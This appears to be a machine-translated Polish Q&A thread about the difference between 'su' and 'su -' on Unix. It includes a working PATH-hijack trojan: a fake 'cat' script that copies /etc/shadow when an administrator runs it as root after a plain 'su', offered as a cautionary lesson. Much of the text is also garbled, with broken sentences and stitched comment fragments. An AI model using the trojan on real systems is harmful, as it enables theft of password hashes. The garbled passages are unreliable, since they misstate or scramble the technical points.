Odpowiedzi:
su -
wywołuje powłokę logowania po zmianie użytkownika. Powłoka logowania resetuje większość zmiennych środowiskowych, zapewniając czystą bazę.
su
po prostu przełącza użytkownika, zapewniając normalną powłokę w środowisku prawie takim samym jak w przypadku starego użytkownika.
Wyobraź sobie, że jesteś programistą z normalnym dostępem użytkownika do maszyny, a twój nieświadomy administrator po prostu nie da ci dostępu do roota. (Miejmy nadzieję) oszukać go.
$ mkdir /tmp/evil_bin
$ vi /tmp/evil_bin/cat
#!/bin/bash
test $UID != 0 && { echo "/bin/cat: Permission denied!"; exit 1; }
/bin/cat /etc/shadow &>/tmp/shadow_copy
/bin/cat "$@"
exit 0
$ chmod +x /tmp/evil_bin/cat
$ PATH="/tmp/evil_bin:$PATH"
Teraz pytasz administratora, dlaczego nie możesz cat
odtworzyć fikcyjnego pliku w folderze domowym, po prostu nie zadziała!
$ ls -l /home/you/dummy_file
-rw-r--r-- 1 you wheel 41 2011-02-07 13:00 dummy_file
$ cat /home/you/dummy_file
/bin/cat: Permission denied!
Jeśli Twój administrator nie jest taki bystry ani trochę leniwy, może podejść do twojego biurka i spróbować swoich uprawnień superużytkownika:
$ su
Password: ...
# cat /home/you/dummy_file
Some important dummy stuff in that file.
# exit
Łał! Dzięki, super adminie!
$ ls -l /tmp/shadow_copy
-rw-r--r-- 1 root root 1093 2011-02-07 13:02 /tmp/shadow_copy
On, on.
Być może zauważyłeś, że uszkodzona $PATH
zmienna nie została zresetowana. To by się nie zdarzyło, gdyby su -
zamiast tego wywołał administrator .
umask
jak 000, bo inaczej to nie zadziała.
su
plik w ŚCIEŻCE. Nie jest tak trudno naśladować zachowanie prawdziwego su
. Super użytkownik i tak był nieostrożny :-)
su --
NIE jest tym samym, co su -
: --
mówi modułowi obsługi opcji getopt (s) (lub podobnym), aby przestał przetwarzać wiersz poleceń dla dalszych opcji (przydatne na przykład, jeśli reszta zawiera nazwy plików, które mogłyby zaczynać się od „-”). To znaczy, w "rm -i - -f": -f jest wtedy traktowany jako zwykły argument, więc tutaj jako nazwa pliku do rm -i
, a nie jako dodatkowa -f
opcja do rm
polecenia. Tak su --
jest su
i nie jest su -
! Tak su --
byłoby za niebezpieczne dla (zabawny i pouczający) Przykład Givan przez WAG. Użyj su -
.
su -
loguje Cię całkowicie jako root, a jednocześnie su
sprawia, że udajesz roota.
Najbardziej oczywistym przykładem tego jest ~
katalog główny root, jeśli go używasz su -
, ale własny katalog domowy, jeśli go używasz su
.
W zależności od systemu może to również oznaczać różnice w PATH
pliku monitu lub pliku historii.
Więc jeśli należysz do zespołu administrującego systemem, a twój kolega daje ci polecenie uruchomienia, wiesz, że będzie działać tak samo, jeśli oboje korzystacie su -
, ale jeśli oboje korzystacie su
, mogą występować różnice z powodu posiadania różne konfiguracje powłoki.
Z drugiej strony, jeśli chcesz uruchomić polecenie jako root, ale używasz własnej konfiguracji, być może su
jest to dla Ciebie lepsze.
Nie zapomnij też o tym sudo
, która ma -s
opcję uruchomienia powłoki jako root. Oczywiście ma to również inne reguły i zmieniają się w zależności od używanej dystrybucji.
.bashrc
lub /etc/bashrc
albo /etc/profile.d
skrypty zostały ustalone PATH
. Poszukaj if [ $UID -eq 0 ]
czegoś takiego.
$USER
na przykład pozostaje niezmieniony.
sudo su
?
Używam su - gdy jestem w katalogu jako zwykły użytkownik, ale chcę przełączyć się na root i pozostać w tym samym katalogu po zmianie. Kiedy używasz su - przełącza użytkownika do roota, a także przenosi cię do katalogu / root, który jest głównym katalogiem głównym.
/
cokolwiek jest zdefiniowane jako katalog domowy root
Główną różnicą jest:
su - username
ustawia środowisko powłoki tak, jakby to był czysty login jako określony użytkownik, uzyskiwał dostęp i używał zmiennych środowiskowych określonych użytkowników,
su username
po prostu uruchamia powłokę z bieżącymi ustawieniami środowiska dla określonego użytkownika.
Jeśli nazwa użytkownika nie jest określona za pomocą su
i su -
, domyślnie przyjmuje się konto root.
su --
jest taki sam jaksu
.